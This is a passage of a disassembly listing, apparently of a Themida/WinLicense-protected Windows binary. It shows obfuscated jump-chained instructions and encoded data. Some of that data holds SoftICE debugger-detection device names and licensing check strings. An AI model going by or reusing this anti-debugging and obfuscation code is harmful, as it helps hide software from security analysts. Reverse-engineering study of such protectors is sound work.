--------------------------------------------------------------------------- db 59h, 0E9h, 0C7h db 3Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567B6B: ; CODE XREF: Themida_:005665E7j push ebp mov ebp, 4 add eax, ebp jmp loc_55B3F9 ; --------------------------------------------------------------------------- loc_567B78: ; CODE XREF: Themida_:00566F8Aj mov [esp], esi mov esi, 10954B4Fh jmp loc_557793 ; --------------------------------------------------------------------------- loc_567B85: ; CODE XREF: Themida_:0055FFA7j push esi mov esi, 2D6586Fh shl esi, 4 neg esi jmp loc_55969B ; --------------------------------------------------------------------------- loc_567B95: ; CODE XREF: Themida_:005525A6j mov ecx, ebx jmp loc_563110 ; --------------------------------------------------------------------------- loc_567B9C: ; CODE XREF: Themida_:005628D1j sub cl, 0F5h sub cl, 67h mov al, 26h sub esp, 2 jmp loc_561C86 ; --------------------------------------------------------------------------- db 80h dd 0FAE92CE9h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567BB7: ; CODE XREF: Themida_:00566FC9j xor edx, 1DE41CD6h sub edx, 1B635959h jmp loc_558A03 ; --------------------------------------------------------------------------- loc_567BC8: ; CODE XREF: Themida_:0055DDEDj push ecx mov ecx, 176343AAh add ecx, 1D5D6F7Ch jmp loc_567D2A ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 0FF692DE9h, 56F768FFh, 3C890000h, 52E78924h, 468h, 0C7815A00h dd 6E1F04F3h, 0B850D701h, 6E1F04F3h, 0FF0C87E9h db 0FFh ; --------------------------------------------------------------------------- loc_567C05: ; CODE XREF: Themida_:0056315Fj pop edi push ebp mov ebp, 74A598BEh xor edi, ebp pop ebp sub edx, 2A25070Dh add edx, 41743AF6h add edx, edi push 6583h mov [esp], ecx mov ecx, 6BC305ACh jmp loc_55B00F ; --------------------------------------------------------------------------- db 66h db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax push ebp mov ebp, 42894BEBh mov eax, 0BD76B419h add eax, ebp mov ebp, [esp] add esp, 4 sub ebp, 1FC6591Fh add ebp, eax add ebp, 1FC6591Fh pop eax push esi push eax jmp loc_55B790 ; --------------------------------------------------------------------------- db 0B8h dd 0C5C31DDh, 8958C531h, 0C9A8E9EAh, 8059FFFFh, 1FE9FAE4h dd 80FFFF92h, 0EB2802EDh, 80C32859h, 11E97EC3h, 0FFFFFF36h dd 0E95A2434h, 0FFFF9A90h, 3983C281h, 0F2290930h, 0FFEB22E9h dd 2434FFFFh, 8324148Bh, 0C48304C4h, 81DBF704h, 125D15E3h dd 77876875h, 0C890000h, 0B39EB924h, 0CB294C5Bh, 5BD80159h dd 0BE56D801h, 193A3F55h, 0FF6664E9h, 4C481FFh, 81000000h dd 4C6h, 4B95100h, 51000000h, 83407BB9h, 4DF18169h, 8146F146h dd 217525E9h, 3FBE5636h, 817DB414h, 1B481DCEh, 0B5EE8109h dd 13012E4h, 0BF575EF1h, 1F88A63Dh, 0C1E9F929h db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567D1B: ; CODE XREF: Themida_:005578E1j mov edi, 15D563E5h mov ebp, edi mov edi, [esp] jmp loc_55C281 ; --------------------------------------------------------------------------- loc_567D2A: ; CODE XREF: Themida_:00567BD4j shl ecx, 7 sub ecx, 142A1471h push edx push eax mov eax, 754A484Bh xor eax, 3C336689h not eax xor eax, 56E97CA0h dec eax sub eax, 672497C8h jmp loc_563F26 ; --------------------------------------------------------------------------- loc_567D51: ; CODE XREF: Themida_:0056291Aj xor esi, [esp] xor [esp], esi xor esi, [esp] jmp $+5 mov esp, [esp] mov [esp], edx push eax pushf jmp loc_5675B4 ; --------------------------------------------------------------------------- dd 27F68166h, 665A6648h, 8B66F309h, 0E9522434h, 0FFFF1951h dd 595EF089h, 51C38953h, 5F51D989h, 0FF46C2E9h db 0FFh ; --------------------------------------------------------------------------- loc_567D91: ; CODE XREF: Themida_:0056263Cj or al, 2Ah xor al, 0A0h jmp loc_563EDA ; --------------------------------------------------------------------------- dw 0C89h dd 2474FF24h, 48F5904h, 24248B24h, 0FEA7CCE9h, 24348BFFh dd 0FEFC1FE9h, 0AE8FFh, 150C0000h, 84161AAEh, 1819A7BDh dd 0B5295AF9h, 6451DD5h, 650DC281h, 81660000h, 0BEEE4DF3h dd 1916h, 0E832FFFCh, 14h, 0AC06FC8Bh, 1D255752h, 94F673C0h dd 477DBFFBh, 8D055BBCh, 8589595Fh, 6452B21h, 0CBF2C181h dd 0C1814239h, 67A9CA05h, 13E9h, 26143500h, 83157B80h dd 401CB31Fh, 83824576h, 49288622h, 0D6FEF181h, 9D8B5714h dd 6451E6Dh, 8B666051h, 61C18BFAh, 8F0F028Fh, 6, 2C3D9D89h dd 0EA830645h, 0EB816604h, 0EE833CF6h, 0E850F01h, 0F000000h dd 14E9C3BFh, 61000000h, 0C07BAD86h, 0FF73E9A1h, 0DF19FFFFh dd 0D24233Fh, 0EBE2B9E3h, 45535536h, 2E323352h, 6C6C64h dd 41564441h, 32334950h, 6C6C642Eh, 44544E00h, 642E4C4Ch dd 0D7006C6Ch, 807h, 2001A00h, 1D000700h, 0CC027F00h, 0E900F1BDh dd 8A0h, 47A01A68h, 0DE93E906h, 0BB68FFFDh, 0E90647A0h dd 0FFFDDE89h, 47A1C568h, 0DE7FE906h, 0F368FFFDh, 0E90647A2h dd 0FFFDDE75h, 47A38268h, 0DE6BE906h, 7468FFFDh, 0E90647A4h dd 0FFFDDE61h, 47A4E068h, 0DE57E906h, 5643FFFDh, 0E8DC2DBFh dd 8C7CCD5Fh, 299861FBh, 0C5330666h, 0A23A9C00h, 0DD4F04F2h dd 7FED9A0Ch, 128A39AAh, 0B329D4C7h, 6D7254D6h, 0D517FD30h dd 11558C84h, 86B65948h, 11B591D9h, 5961C69h, 0E7567704h dd 0F9DF1357h, 11B591F6h, 0D46D614Ah, 0DFDC357h, 0AB0FF08Ah dd 0ABFF9402h, 9C4D0D8Ah, 0CD169C2Bh, 0B4CF1B2Fh, 0EC5D7841h dd 0CEE20CA2h, 4F5CF00Fh, 78F9AD60h, 7055A7FBh, 411789C1h dd 83F654E8h, 7E713872h, 1D9059C3h, 364A4062h, 87035156h dd 730D1h, 26EDDA00h, 0C67F73C6h, 62239366h, 0DC02FFAh dd 0B75C4A9Fh, 90B9335h, 0A376F69Bh, 0C1089431h, 5EAB31D0h dd 4D4CD06Bh, 3204EBCDh, 33BC17FDh, 32CDC015h, 3E8F0E6Ch dd 34875A7Ch, 80C40FFDh, 0FD30412Eh, 46FF8317h, 0F6EF1CD1h dd 27B0064Fh, 30761586h, 0F305EACCh, 28BD17FCh, 0BD6C2EABh dd 50FDBD4Ch, 675989C0h, 17FD9078h, 0F21ABBC8h, 116AE6BDh dd 22734A66h, 0FFBF51A5h, 860CBF2Eh, 0FBAF5E4Fh, 5B4CAF22h dd 0E963F6ACh, 0CA7FFFD6h, 0E3D30895h, 0A3FDA522h, 0CA6AF47Ch dd 68F18BEh, 8E7B0000h, 209465C7h, 0C4340567h, 61509903h dd 0FDEB3EAEh, 6A72D448h, 15973CAAh, 0B735D2C4h, 4AD27162h dd 0EB710CFFh, 0A54A6CAEh, 1D17FD31h, 0CDC0F4CCh, 22956C32h dd 76C2C367h, 0A4BB2B6Fh, 49E4D87Ah, 0D6000000h, 7832CDC0h dd 91DD8224h, 106511B5h, 37DE049Ah, 11B5931Ch, 0C854EFE2h dd 0D892239Ah, 23E6D584h, 5678FE7Fh, 0FF0EF99h, 0CB92DC29h dd 0FDB12BDAh, 5F53BC2Ch, 0F47180A6h, 9736A77Eh, 0CE3EEFD3h dd 29FB93Dh, 0E1000006h, 0D9FFCDC0h, 11B59116h, 0BF1159AAh dd 11B591B0h, 2046C310h, 4AFBD2h, 9205EACCh, 28BD11B5h dd 0F046FFF3h, 0A8242A8Ch, 0D4710FF0h, 0F1E259DAh, 76C2F152h dd 0F401D65Ch, 932EA168h, 0D3625B09h, 241259Bh, 0D0141643h dd 0C4E89909h, 1E43001Bh, 19895EA7h, 8F033268h, 0CA93DB28h dd 2C602AD9h, 4300E58Ah, 82085D1Eh, 3DCC3D0Ch, 621D9069h dd 3A2C6640h, 0E5F33771h, 585h, 6BF19805h, 0B912A9Eh, 0AF3DCE3Eh dd 44D86B5Ah, 0DA4207F5h, 46B46078h, 0DCCE1B81h, 7B6CBD2Fh dd 168950CCh, 1698F16Bh, 0FD32AFB0h, 0C2C61317h, 6C32CDC0h dd 0D7672295h, 8E1F4A7Ah, 48F6841h, 0F845EEE4h, 247CF228h dd 60526BE5h, 11B5ED59h, 630B9FBh, 0F077D87Bh, 45FFFFFEh dd 6C32CDC0h, 7C3E8F0Eh, 0C37E7138h, 36189E9Fh, 0FF0B4FCh dd 0CE8371BAh, 0D29BDB41h, 0E9AB2FE4h, 35D4C52Ch, 0B43C071h dd 35AFE995h, 0FBEDBC16h, 2B6FC84Eh, 0DBF19202h, 1E3FAF14h dd 84DA27ACh, 3FB108DAh, 0BDC0401Eh, 727D5397h, 0CE1E3FAFh dd 5F473185h, 38E504C2h, 193h, 1284558Ah, 8A003175h, 0A21B18E9h dd 0C3075B13h, 0B59202EDh, 796DBE11h, 0E1CF43C0h, 0FF08B19h dd 0DCA9729Fh, 84DACA5Fh, 0FA3CABDCh, 800D8A00h, 0FDB783A9h dd 21E441B4h, 76F8DE90h, 0C8F00FFDh, 9F0DF0E3h, 44B86DEAh dd 0C956E7BBh, 0D766A795h, 17372187h, 788DF655h, 18BEF236h dd 0FE5F3957h, 3D149AEBh, 5CAD3FCAh, 78F4DE69h, 0F5515665h dd 45723B5h, 0C6330000h, 584C9D0Fh, 0FCEC3DAFh, 9908D14Bh dd 35A376F6h, 324A0C90h, 4DDF7462h, 0EF7D0AFCh, 821AA91Ah dd 23B944B7h, 0DD822466h, 6517FD33h, 84553C14h, 5807B913h dd 0E811B591h, 0F1481E9Bh, 1C1D4100h, 7C591B9Fh, 0A0498DCDh dd 737C5230h, 0CF11B591h, 0D4653986h, 3279705Eh, 653D0FFDh dd 0FD309C43h, 52DF2417h, 0A515C418h, 16BFBEE4h, 805BD5A5h dd 5DC52F4h, 0A277F594h, 2CD7CA31h, 0AF22FBAFh, 0C0C43214h dd 71B96AF3h, 3C867h, 0BE554200h, 5EE7DB2Eh, 0FA8B7BCEh dd 65289762h, 0FC43207h, 0F1A33B9Dh, 0BDE4E03h, 0A970EC99h dd 0C6138938h, 0D5B428D3h, 346C7355h, 8BD417FDh, 32CDC08Dh dd 3F22956Ch, 0FAB431CCh, 0B006BF33h, 9841A9D8h, 35C49A25h dd 0D3D51D8Ch, 6CE24A10h, 65B9E7FEh, 0B5CD9C43h, 5BDF2411h dd 0B5CD4475h, 67FCF211h, 5725BD30h, 399F13EEh, 1A670C8Dh dd 7AE84F5Ah, 0FD1514D8h, 0C0A6FFFFh, 0CB786ACDh, 0E3DA184Eh dd 44A61852h, 0F20FF0B5h, 7AC5FB61h, 6BDAF37Ah, 89FD8D23h dd 2ABB0FF0h, 7807907h, 0F4D16FE8h, 54F13545h, 74652E57h dd 91636CD5h, 0CB133DB1h, 75BE4D7Fh, 0F0E146B8h, 1357D451h dd 2A35EB2Fh, 96C65781h, 328BC94Dh, 3D5CB83h, 0AAC49299h dd 0BAAFB016h, 0C213CC9Ch, 0D09AEB4Ch, 71EB9609h, 0A88A35A8h dd 1F93E660h, 0D6EBED3Dh, 0B4000002h, 0CD1C8047h, 6DBC20D9h dd 8950CC7Dh, 24F5771Ah, 0C98B11B6h, 50F5E3B1h, 0FE8B7DCCh dd 9B2A9B6Eh, 3AC53801h, 1A7E7A2h, 17FD355Eh, 5BB395E2h dd 259BD362h, 0FFD325Ah, 99DD9DE6h, 307C6345h, 72C417FDh dd 0FD30935Ch, 59A62F17h, 4A7C86F8h, 38BE45B6h, 0CB51F0E1h dd 0A8FE8D7Eh, 323DED1h, 6AF3E04Fh, 6A4C0A9Eh, 20000002h dd 0B9801CB3h, 0D920BC45h, 75C458E9h, 9059C386h, 5DFF6D22h dd 0AC614F45h, 4AF7E930h, 0F79607D2h, 9631A475h, 950B7316h dd 17FD35CAh, 552FE976h, 2C721584h, 846B4D0Dh, 3C11B591h dd 547123B7h, 8C7355E5h, 340FFD32h, 0CB3EEFAFh, 0CBC6AC30h dd 0C2E43872h, 17FD301Dh, 45AEBDBh, 2B214EF5h, 3782A174h dd 377BFF7Ch, 0FC9ED491h, 471B6817h, 34B00EEh, 53A76C5Ah dd 7666377Bh, 207641D5h, 0A0C68B79h, 0F873091h, 0F13B1F39h dd 9136A47Dh, 0D56CA50Bh, 0DA442385h, 77FC17FCh, 0DC675A33h dd 0E9DCD186h, 6BE89306h, 0AB528F1h, 6E7E4754h, 0C49DC17Ah dd 747337D0h, 3A76E9FCh, 0F3E62124h, 9205D448h, 4F6A7F7h dd 0CD122347h, 0ECA42ADFh, 48BAA715h, 9B683EBBh, 77148657h dd 1E8C0233h, 28055907h, 0A295273Bh, 8F507C30h, 3317FD25h dd 2936E8A2h, 9917FD25h, 9C0FC64Ch, 40AE7BE1h, 0FFC4D78Bh dd 1C42FBEFh, 23915445h, 34CD9C6h, 0AE85D926h, 4414879Eh dd 9604BFC6h, 309E6BF1h, 970AD39Bh, 388542B4h, 0C796DAB2h dd 0AC3D0DD4h, 0F1CB2393h, 8B0F2E74h, 42866152h, 52F1E280h dd 0FBA229F1h, 0FBBF287Eh dd 0D6C8BE32h, 17FD6809h, 2BAF2CB9h, 7B69A4B9h, 386E1D8Eh dd 0D920BC39h, 59075BE6h, 600ED1D4h, 8F7A6F8h, 0CB102145h dd 3AA82ED7h, 4AF5E823h, 0DC655900h, 0DC02F86h, 0DD685B80h dd 7F72C759h, 8B529EC4h, 6376B1Ah, 0A66B59B0h, 1045A80h dd 0B428D3C6h, 93D77265h, 85D564A1h, 0ABD6DF23h, 420C59CEh dd 0ABC7B5E7h, 0FE74C97Eh, 3A8B0260h, 8B36A970h, 0F08B7ED7h dd 8115D273h, 65578FCBh, 940BAD11h, 0C7D4FDF3h, 90E6A516h dd 57F4E6C7h, 21A580CAh, 1AF1BF74h, 0E6BF179Bh, 5D448F3h dd 8AA7F792h, 99C78D11h, 0EC990B70h, 0B43A87B6h, 0A367F2DCh dd 9CC2D94Bh, 2187DB89h, 0E3B3BD3Eh, 24FD7182h, 0AC5F4EB1h dd 0B0FA47F6h, 1248F9E9h, 28F16FE3h, 0C400AB5h, 0B3BDC5AAh dd 83257DE3h, 0E3B3BDDCh, 1C921F64h, 4BFEED44h, 1FCE5017h dd 0F5FADCACh, 4DE3B3BDh, 56E7BB38h, 803B42C0h, 0E438720Dh dd 0B3BD1DC2h, 5DE8DBE3h, 4AB86DF6h, 0DA50E185h, 4702F544h dd 3B523h, 6F9F0000h, 3CD3C071h, 611C8F66h, 0D473643Dh dd 38C5378Eh, 681D8B62h, 0D86D5B32h, 9BC2B82h, 7B0CFC55h dd 0A15A4E27h, 0A6876FDh, 5400000Eh, 8324048Fh, 68042404h dd 1ACFh, 68242C89h, 1ABCh, 51240C89h, 0F36E6FB9h, 3AC98177h dd 0F779C358h, 8E1C1D9h, 0E17DE981h, 0CD890639h, 83240C8Bh dd 0EC8304C4h, 24248904h, 4240483h, 4EC8359h, 0BB241C89h dd 8, 2B89CB01h, 2434FF5Bh, 4C48359h, 5D2434FFh, 4C481h dd 0FEE90000h, 0ABFFFDD5h, 47A76FB8h, 0FFC50306h, 0C2D58BE0h dd 0EB1EE44Dh, 0AE9AFF63h, 0F9D2040Fh, 0B19F5A63h, 0DA3C3B3Ah dd 61757F6Ah, 0B7520461h, 0FA1FDA79h, 0AED6A5Fh, 8C4C7B50h dd 0B13DF752h, 7668D60Dh, 3FEE1570h, 81A8F07Dh, 3DA5AC63h dd 59A91416h, 0A8AA5F31h, 9D04F240h, 66D51A49h, 0CE85C214h dd 0AB063924h, 1EF6B25Eh, 0CFD3DC01h, 71E95Dh, 83600000h dd 45177DBDh, 840F0006h, 5, 5CE9h, 80006A00h, 850F303Eh dd 8, 0E946006Ah, 35h, 0F333E80h, 885h, 46106A00h, 24E9h dd 343E8000h, 8850Fh, 306A0000h, 13E946h, 3E800000h, 8850F35h dd 6A000000h, 2E94640h, 6A000000h, 31858D00h, 90064503h dd 50969050h, 0FF006A96h, 4507B195h, 0C6C36106h, 45182985h dd 83684D06h, 81A3A1B4h, 0C22B2434h, 0B5FF0794h, 6452BE5h dd 39FB858Dh, 0D0FF0645h, 7B18589h, 13E80645h, 30000000h dd 342DD352h, 6AD730Dh, 11FD0733h, 0A93F90Bh, 0C981C19Fh dd 3F321625h, 66F2805Fh, 6EE3C781h, 8B600000h, 45085DB5h dd 8D036006h, 6452F55h, 2595BD8Bh, 61610645h, 79BAC033h dd 8B4F42D3h, 850F071Ch, 2, 0C3812EB2h, 2100A356h, 81CFBF0Fh dd 878EF5EBh, 68E0F1Fh, 89000000h, 4507118Dh, 0E6C38106h dd 0B45791Eh, 450799B5h, 0BE95306h, 7000000h, 63FBA866h dd 2DD4F7D9h, 48F8A9Fh, 7E9F507h, 0C5000000h, 0E14C5818h dd 0E8835D35h, 0CDCEB901h, 48487650h, 0D6BF0F48h, 91CCF881h dd 850FFFFFh, 0FFFFFF93h, 1265B58Bh, 1EEB0645h, 5C2E5C5Ch dd 45434953h, 2E5C5C00h, 5749535Ch, 444956h, 5C2E5C5Ch dd 4349544Eh, 0C08B0045h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 90C35343h, 0BD8310FFh, 64530A1h, 83097500h dd 4504BDBDh, 19740006h, 0C08B5350h, 40FB8h, 0FD858900h dd 8D064512h, 47B56C9Dh, 5BD3FF06h, 0BDBD8358h, 64504h dd 53501774h, 40FB8h, 0FD858900h, 8D064512h, 47B25B9Dh dd 5BD3FF06h, 0F1816658h, 8A0F22B9h, 0Dh, 55BD8960h, 66064517h dd 8979E281h, 66C08B61h, 0EFFAEE81h, 182985C6h, 0E9430645h dd 0Dh, 0AF52F462h, 0E99D6D63h, 0D67F7D67h, 3DB529CDh dd 68064525h, 0ED1783EFh, 0BE665250h, 310FB6D3h, 13E9h dd 4DB23000h, 0D362A14Ah, 0B3FAB37Dh, 0F8E43609h, 0A5A2F3F6h dd 3481585Ah, 99ED1324h, 81B58951h, 0FF064508h, 450985B5h dd 0FB858D06h, 6A064539h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 0D59AC355h, 66D0FFC6h dd 395AEE81h, 0CE850h, 6A990000h, 0A4A9C338h, 8B7C3F52h dd 6660BB0Bh, 5E61D38Bh, 31240489h, 452EED8Dh, 2D852906h dd 6A064503h, 3D9D2900h, 0E8064520h, 4, 80h, 5750F78Bh dd 32492FBFh, 448B5E12h, 8B0424h, 89D38B66h, 8B042444h dd 958B58CAh, 6453355h, 6A036Ah, 9D89036Ah, 6452A2Dh, 9D77A68h dd 240481A2h, 1DF62886h, 98F0Fh, 820F0000h, 3, 0FF9BF0Fh dd 9D8DFEBFh, 647A99Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 24C35242h, 28BE50A1h, 8962400Dh, 6A241Ch dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 5927D4C3h, 66A3B6F1h, 0D0FFF88Bh, 2EB98D89h, 0F400645h dd 2B985h, 0AD8D8B00h, 5806451Ch, 20AD958Bh, 66900645h dd 504ACABAh, 25850990h, 6A06450Ah, 0BCD18000h, 0DB4A6168h dd 19890F84h, 0E9000000h, 14h, 0B2BB8066h, 28758B56h, 0C9D18EEEh dd 38530E1Eh, 0DCC8C5B2h, 1F240481h, 897B24B6h, 450AC5BDh dd 8B036A06h, 4532958Dh, 1006A06h, 4520B185h, 0E9036A06h dd 0Dh, 3AC373FBh, 71108F1Dh, 0F0F12BFDh, 0CD9D8908h, 6806451Ch dd 4832BD22h, 1DD0BE66h, 0DE240481h, 8977CD42h, 4522BD95h dd 0A69D8D06h, 8B0647A9h, 0E96050FAh, 0Dh, 47002B66h, 6EDE3209h dd 699259F6h, 5953603Ch, 61CB8B66h, 241C8961h, 11C99D29h dd 0D0FF0645h, 2C71B509h, 0F400645h, 1ED85h, 9E800h, 90630000h dd 0AB4B84D4h, 0E89797C5h, 13h, 0CC3AB0E4h, 6B31EE15h dd 0E6964EF2h, 9509A03Fh, 0F57994Ah, 89h, 585E5E00h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 15C35646h, 57525050h dd 58D54ABEh, 310F5A71h, 8F93B4B9h, 89585A14h, 0B5092404h dd 64532E9h, 6870Fh, 8D290000h, 6452555h, 8B66006Ah, 68F18BD7h dd 7032B7C7h, 0F870Fh, 9E80000h, 69000000h, 600BB2CEh dd 5A9722FAh, 2434815Fh, 7032B747h, 79E0BE66h, 0BD8B036Ah dd 6452995h, 0E960006Ah, 12h, 0B0D6686Ch, 2C98B75Ch, 0DDF5872Dh dd 1E05529Ah, 8523A892h, 6452A1Dh, 89036A61h, 4502C98Dh dd 4E806h, 0 dd 8B66C000h, 448B50D3h, 810F0424h, 2Dh, 9E85250h, 0BE000000h dd 7D5E50Dh, 0EBEFDB3Fh, 0E9310F59h, 13h, 64A80CFh, 23A0D952h dd 0FAF1D597h, 7AF34E59h, 5A487704h, 0BE008B58h, 7C0739D2h dd 4244489h, 42040DB9h, 6A5810h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 4743D5C3h, 0D2A55052h dd 0B19D8DA4h, 600647A9h, 8D31D68Bh, 645172Dh, 0CE89361h db 3 dup(0) byte_568D47 db 46h ; DATA XREF: Themida_:00540018o dd 0E216407Ch, 6F352B51h, 60D67E74h, 8CB61FB0h, 60505F61h dd 8D0Fh, 93610000h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 0DCC35040h, 0F95737D3h, 9529525Eh, 6451545h dd 8BD0FF5Ah, 850F40F7h, 3Eh, 8D958956h, 5906451Fh, 50006A58h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 40D5C41Dh, 635B58Bh, 0B58B0645h, 645022Dh, 0FEE9h, 0BBEBBA00h dd 0D88B2D2Eh, 0AE9h, 0C9E21E00h, 89AD7C09h, 4B2E454Ah dd 17898D8Bh, 53580645h, 2985C65Fh, 43064518h, 0C4CE8166h dd 4E847h, 4AA70000h, 8B50C076h, 8B042444h, 6E85300h, 25000000h dd 2990CE57h, 0C88B66EAh, 44895F5Fh, 29580424h, 4507E58Dh dd 0B5FFF906h, 6450985h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 0D8C35545h, 0EA2164DFh, 3A15C0EFh, 2135B50Bh dd 858D0645h, 64539FBh, 2A15BD8Bh, 0D0FF0645h, 1D559531h dd 8A0F0645h, 6, 20418D89h, 8A930645h, 79BF50D7h, 9321E785h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 6DC35545h dd 38E0Fh, 0B70F0000h, 5952BD2h, 0FF064517h, 149D8DD0h dd 51064572h, 1B85AF5h, 60000000h, 0E2F2C781h, 0C4804180h dd 0E3FF6169h, 8BD2B70Fh, 0BDB58BC1h, 9064506h, 4520A5BDh dd 6AC08B06h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 0DEFFC350h, 6D770F51h, 567AE2C9h dd 800Fh, 83590000h, 4530A1BDh, 9750006h, 4BDBD83h, 74000645h dd 8B535019h, 40FB8C0h, 85890000h, 6452C41h, 0B5D39D8Dh dd 0D3FF0647h, 0BD83585Bh, 64504BDh, 50177400h, 40FB853h dd 85890000h, 6452C41h, 0B2749D8Dh, 0D3FF0647h, 8B66585Bh dd 8BC88BD3h, 45071195h, 0E9C08B06h, 0AAh, 74666F53h, 65726177h dd 6E69575Ch, 6563694Ch, 65736Eh, 63656843h, 4E496Bh, 6F727058h dd 69784574h, 68430074h, 4F6B6365h, 57005455h, 694C6E69h dd 736E6563h, 72655665h, 6E6F6973h, 6E695700h, 6563694Ch dd 4465736Eh, 65766972h, 72655672h, 6E6F6973h, 6E695700h dd 6563694Ch, 4965736Eh, 6174736Eh, 65636Eh, 74697845h dd 50006B4Fh, 49636F72h, 7250004Eh, 554F636Fh, 78450054h dd 4E497469h, 69784500h, 54554F74h, 49705400h, 4Eh, 2 dup(0) dd 0AF7F0000h, 72F077DDh, 96E977DDh, 89000005h, 47B08F85h dd 8B858D06h, 500647B0h, 0AFF5858Dh, 68500647h, 80000001h dd 0B09B95FFh, 196A0647h, 0B08FB5FFh, 16A0647h, 858D006Ah dd 647B024h, 8BB5FF50h, 0FF0647B0h, 450B5595h, 8BB5FF06h dd 0FF0647B0h, 47B09795h, 8BB5FF06h, 0FF0647B0h, 452BD195h dd 8589C306h, 647B08Fh, 0B08B858Dh, 8D500647h, 47AFF585h dd 1685006h, 0FF800000h, 47B09B95h, 8D046A06h, 47B08F85h dd 46A5006h, 858D006Ah, 647B04Eh, 8BB5FF50h, 0FF0647B0h dd 450B5595h, 8BB5FF06h, 0FF0647B0h, 47B09795h, 8BB5FF06h dd 0FF0647B0h, 452BD195h, 8589C306h, 647B08Fh, 0B08B858Dh dd 8D500647h, 47AFF585h, 1685006h, 0FF800000h, 47B09B95h dd 8D046A06h, 47B08F85h, 46A5006h, 858D006Ah, 647B036h dd 8BB5FF50h, 0FF0647B0h, 450B5595h, 8BB5FF06h, 0FF0647B0h dd 47B09795h, 8BB5FF06h, 0FF0647B0h, 452BD195h, 8589C306h dd 647B08Fh, 0B08B858Dh, 8D500647h, 47AFF585h, 1685006h dd 0FF800000h, 47B09B95h, 8D046A06h, 47B08F85h, 46A5006h dd 858D006Ah, 647B061h, 8BB5FF50h, 0FF0647B0h, 450B5595h dd 8BB5FF06h, 0FF0647B0h, 47B09795h, 8BB5FF06h, 0FF0647B0h dd 452BD195h, 8589C306h, 647B08Fh, 0B08B858Dh, 8D500647h dd 47AFF585h, 1685006h, 0FF800000h, 47B09B95h, 8D046A06h dd 47B08F85h, 46A5006h, 858D006Ah, 647B011h, 8BB5FF50h dd 0FF0647B0h, 450B5595h, 8BB5FF06h, 0FF0647B0h, 47B09795h dd 8BB5FF06h, 0FF0647B0h, 452BD195h, 0BD83C306h, 6450649h dd 0B840F00h, 8B000000h, 4506499Dh, 4CC38306h, 83C30389h dd 450649BDh, 840F0006h, 0Bh, 6499D8Bh, 0C3830645h, 0C3038950h dd 649BD83h, 0F000645h, 0B84h, 499D8B00h, 83064506h, 38954C3h dd 49BD83C3h, 64506h, 0B840Fh, 9D8B0000h, 6450649h, 8958C383h dd 0BD83C303h, 6450649h, 0B840F00h, 8B000000h, 4506499Dh dd 5CC38306h, 0C3C30389h, 8F858960h, 8D0647B0h, 47B08B85h dd 858D5006h, 647AFF5h, 16850h, 95FF8000h, 647B09Bh, 858D046Ah dd 647B08Fh, 6A046A50h, 86858D00h, 500647B0h, 0B08BB5FFh dd 95FF0647h, 6450B55h, 30A1BD83h, 0F000645h, 0C84h, 8BB5FF00h dd 0FF0647B0h, 47B09795h, 8BB5FF06h, 0FF0647B0h, 452BD195h dd 60C36106h, 0B08F8589h, 858D0647h, 647B08Bh, 0F5858D50h dd 500647AFh, 168h, 9B95FF80h, 6A0647B0h, 8F858D04h, 500647B0h dd 6A046Ah, 0B068858Dh, 0FF500647h, 47B08BB5h, 5595FF06h dd 8306450Bh, 4530A1BDh, 840F0006h, 0Ch, 0B08BB5FFh, 95FF0647h dd 647B097h, 0B08BB5FFh, 95FF0647h, 6452BD1h, 8960C361h dd 47B08F85h, 8B858D06h, 500647B0h, 0AFF5858Dh, 68500647h dd 80000001h, 0B09B95FFh, 46A0647h, 0B08F858Dh, 6A500647h dd 8D006A04h, 47B06F85h, 0B5FF5006h, 647B08Bh, 0B5595FFh dd 0BD830645h, 64530A1h, 0C840F00h, 0FF000000h, 47B08BB5h dd 9795FF06h, 0FF0647B0h, 47B08BB5h, 0D195FF06h, 6106452Bh dd 858960C3h, 647B08Fh, 0B08B858Dh, 8D500647h, 47AFF585h dd 1685006h, 0FF800000h, 47B09B95h, 8D046A06h, 47B08F85h dd 46A5006h, 858D006Ah, 647B077h, 8BB5FF50h, 0FF0647B0h dd 450B5595h, 0A1BD8306h, 64530h, 0C840Fh, 0B5FF0000h dd 647B08Bh, 0B09795FFh, 0B5FF0647h, 647B08Bh, 2BD195FFh dd 0C3610645h, 8F858960h, 8D0647B0h, 47B08B85h, 858D5006h dd 647AFF5h, 16850h, 95FF8000h, 647B09Bh, 858D046Ah, 647B08Fh dd 6A046A50h, 7E858D00h, 500647B0h, 0B08BB5FFh, 95FF0647h dd 6450B55h, 30A1BD83h, 0F000645h, 0C84h, 8BB5FF00h, 0FF0647B0h dd 47B09795h, 8BB5FF06h, 0FF0647B0h, 452BD195h, 60C36106h dd 0B08F85C7h, 10647h, 858D0000h, 647B08Bh, 0F5858D50h dd 500647AFh, 268h, 9B95FF80h, 0B0647B0h, 0F840FC0h, 0C7000000h dd 47B08F85h, 6, 4DE900h, 46A0000h, 0B08F858Dh, 6A500647h dd 8D006A04h, 47B00985h, 0B5FF5006h, 647B08Bh, 0B5595FFh dd 0C00B0645h, 0F840Fh, 85C70000h, 647B08Fh, 0 dd 0AE9h, 8F85C700h, 10647B0h, 0FF000000h, 47B08BB5h, 0D195FF06h dd 6106452Bh, 0B08F858Bh, 60C30647h, 0B08F8589h, 858D0647h dd 647B08Bh, 0F5858D50h, 500647AFh, 168h, 9B95FF80h, 6A0647B0h dd 8F858D04h, 500647B0h, 6A046Ah, 0B009858Dh, 0FF500647h dd 47B08BB5h, 5595FF06h, 8306450Bh, 4530A1BDh, 840F0006h 